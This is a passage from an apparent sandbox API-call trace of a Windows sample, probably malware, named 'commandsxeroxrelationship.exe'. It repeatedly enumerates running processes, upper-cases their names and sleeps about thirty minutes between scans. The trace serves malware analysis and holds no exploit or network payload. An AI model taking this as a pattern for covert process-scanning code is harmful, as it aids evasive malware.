lpString1="svchost.exe") returned="svchost.exe" [0221.501] lstrlenW (lpString="svchost.exe") returned 11 [0221.501] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.501] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.501] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.501] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.501] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0221.501] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0221.501] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0221.501] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0221.501] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0221.501] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0221.502] CloseHandle (hObject=0x2bc) returned 1 [0221.502] Sleep (dwMilliseconds=0x1b7740) [0231.515] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0231.522] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.524] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0231.524] lstrlenW (lpString="[System Process]") returned 16 [0231.524] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0231.524] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0231.525] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0231.525] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.527] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0231.527] lstrlenW (lpString="System") returned 6 [0231.527] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0231.527] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0231.527] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0231.528] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.530] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0231.530] lstrlenW (lpString="smss.exe") returned 8 [0231.530] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0231.530] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0231.530] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0231.536] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.537] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0231.537] lstrlenW (lpString="csrss.exe") returned 9 [0231.537] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0231.537] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0231.537] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0231.538] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.539] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0231.539] lstrlenW (lpString="wininit.exe") returned 11 [0231.539] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0231.539] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0231.539] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0231.539] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.540] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0231.540] lstrlenW (lpString="csrss.exe") returned 9 [0231.540] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0231.540] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0231.541] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0231.541] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.542] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0231.542] lstrlenW (lpString="winlogon.exe") returned 12 [0231.542] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0231.542] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0231.542] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0231.542] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.543] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0231.543] lstrlenW (lpString="services.exe") returned 12 [0231.543] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0231.543] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0231.543] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0231.543] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.544] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0231.544] lstrlenW (lpString="lsass.exe") returned 9 [0231.544] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0231.544] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0231.544] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0231.544] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.546] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.546] lstrlenW (lpString="svchost.exe") returned 11 [0231.546] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.546] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.546] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.546] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.547] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.547] lstrlenW (lpString="svchost.exe") returned 11 [0231.547] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.547] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.547] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.547] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.548] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0231.548] lstrlenW (lpString="dwm.exe") returned 7 [0231.548] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0231.548] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0231.548] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0231.548] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.549] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.549] lstrlenW (lpString="svchost.exe") returned 11 [0231.549] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.549] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.549] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.549] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.550] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.550] lstrlenW (lpString="svchost.exe") returned 11 [0231.550] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.550] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.550] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.550] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.551] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.551] lstrlenW (lpString="svchost.exe") returned 11 [0231.551] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.551] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.551] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.551] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.552] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.552] lstrlenW (lpString="svchost.exe") returned 11 [0231.552] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.552] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.552] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.552] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.553] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.553] lstrlenW (lpString="svchost.exe") returned 11 [0231.553] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.553] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.553] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.553] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.554] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.554] lstrlenW (lpString="svchost.exe") returned 11 [0231.554] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.554] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.554] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.554] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.554] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0231.554] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.555] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0231.555] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0231.555] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0231.555] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.555] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.555] lstrlenW (lpString="svchost.exe") returned 11 [0231.555] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.555] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.555] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.556] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.556] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0231.556] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0231.556] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0231.556] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0231.556] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0231.556] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.557] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0231.557] lstrlenW (lpString="svchost.exe") returned 11 [0231.557] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0231.557] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.557] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0231.557] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.558] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0231.558] lstrlenW (lpString="sihost.exe") returned 10 [0231.558] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0231.558] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0231.558] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0231.558] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.559] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0231.559] lstrlenW (lpString="taskhostw.exe") returned 13 [0231.559] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0231.559] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0231.559] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0231.559] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.559] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0231.559] lstrlenW (lpString="explorer.exe") returned 12 [0231.559] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0231.560] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0231.560] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0231.560] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.560] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0231.560] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0231.560] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0231.560] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0231.560] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0231.560] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.561] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0231.561] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0231.561] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0231.561] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0231.561] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0231.561] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.562] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0231.562] lstrlenW (lpString="SearchUI.exe") returned 12 [0231.562] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0231.562] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0231.562] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0231.562] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0231.563] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0231.563] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0231.563] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0231.563] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0231.563] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0231.563] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, 